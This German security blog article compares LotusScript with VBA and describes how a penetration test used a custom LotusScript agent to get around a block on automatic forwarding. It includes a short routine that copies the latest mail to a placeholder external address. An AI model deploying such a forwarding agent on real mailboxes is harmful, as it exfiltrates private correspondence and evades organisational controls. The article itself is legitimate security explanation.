LotusScript und seine Gefahren

LotusScript und seine Gefahren

Marc Ruef
by Marc Ruef
time to read: 4 minutes

LotusNotes wird vorzugsweise in grösseren Unternehmungen als Alternative zu Microsoft Exchange und Outlook eingesetzt. Das kommerzielle Produkt, welches mittlerweile von IBM betreut wird, weist eine ähnliche Funktionalität auf: Email, Terminkalender, Tasks/Todos und Chats (mit Sametime).

In Microsoft-Umgebungen ist seit Makroviren wie Melissa und Iloveyou die hauseigene Skriptsprache VBA (Visual Basic for Applications) umstritten. Zu viel Mächtigkeit wird ihr beigemessen und zu gering sind die Restriktionen, die sich modular durchsetzen lassen.

Doch nur die allerwenigsten Leute wissen, dass LotusNotes mit LotusScript eine sehr ähnliche Funktionalität bereitstellt. Schon fast ein bisschen hämisch ist es mitanzusehen, dass sich der Original-Syntax der Skriptsprache sehr stark an VBA/VB6 orientiert. So werden Variablen ebenfalls mit Dim deklariert, man kennt den dynamischen Datentyp Variant und als Vergleichsoperator wird ebenfalls einfaches = anstelle des doppelten == (z.B. wie bei C und PHP) verwendet. WikiPedia schreibt hierzu:

LotusScript is very similar to Visual Basic. Code can often be copied without modification from one to the other, and programmers familiar with one can easily understand the syntax and structure of code in the other. The major differences between the two are in their respective Integrated Development Environments and in the product-specific object classes provided in each language that are included. VB includes a richer set of classes for UI manipulation, whereas LotusScript includes a richer set of application-specific classes for Lotus Notes, Lotus Word Pro and Lotus 1-2-3.

Im Rahmen eines Lotus Notes Penetration Test haben wir LotusScript genutzt, um Angriffe zu automatisieren und Restriktionen des bereitgestellten Kontos zu umgehen. So wurde beispielsweise mittels Pattern-Matching verhindert, dass eine “Send Copy To” Rule für Emails angewendet wird, um diese automatisch an eine externe Mailadresse weiterzuleiten. Indem nun mittels LotusScript ein eigener Agent erstellt wurde, liess sich diese Einschränkung umgehen.

Nachfolgendes Codebeispiel zeigt auf, wie eingehende Nachrichten erkannt, deren Inhalt ausgelesen, in eine neue Nachricht geschrieben und diese an eine vordefinierte Mailadresse geschickt werden. Dieser Agent muss nun nur noch zeitgesteuert auf dem Server oder dem laufenden Client betrieben werden, um die gleiche Funktionalität wie mit einer “Send Copy To” Rule zu erreichen.

Sub MailSendToClone()
   Dim s As New notessession
   Dim db As notesdatabase
   Dim dc As notesdocumentcollection
   Dim ndorig As notesdocument
   Dim ndcopy As notesdocument
   Dim rt As notesrichtextitem

‘read the last mail Set db = s.currentdatabase Set dc = db.alldocuments Set ndorig = dc.getlastdocument ‘prepare the new mail Set ndcopy = New notesdocument(db) ndcopy.sendto = “user-at-domain.example” ndcopy.subject = “Automated Forwarder” ndcopy.body = ndorig.body ‘send the mail copy Call ndcopy.send(False) End Sub

Dennoch ist LotusScript nicht per se so gefährlich, wie man es sich von VBA/VBS her gewohnt ist. LotusScript lässt sich nicht einfachso in Emails einbetten oder als Attachment verschicken. Das Erstellen eines reinen Makrovirus auf der Basis von LotusScript ist nicht möglich. Hierzu müssten erweiterte Mechanismen (z.B. das Erstellen von Batch-Dateien oder das Generieren von EXE-Programmen) eingesetzt werden. Eine Kombination von Technologien für simple Abläufe gestaltet sich für Virenprogrammierer hingegen sehr unattraktiv. Da könnte man auch gleich einen binären Virus als EXE-Datei verbreiten.

About the Author

Marc Ruef

Marc Ruef has been working in information security since the late 1990s. He is well-known for his many publications and books. The last one called The Art of Penetration Testing is discussing security testing in detail. He is a lecturer at several faculties, like ETH, HWZ, HSLU and IKF. (ORCID 0000-0002-1328-6357)

Links

Are you interested in a Penetration Test?

Our experts will get in contact with you!

×
Specific Criticism of CVSS4

Specific Criticism of CVSS4

Marc Ruef

scip Cybersecurity Forecast

scip Cybersecurity Forecast

Marc Ruef

Voice Authentication

Voice Authentication

Marc Ruef

Bug Bounty

Bug Bounty

Marc Ruef

You want more?

Further articles available here

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here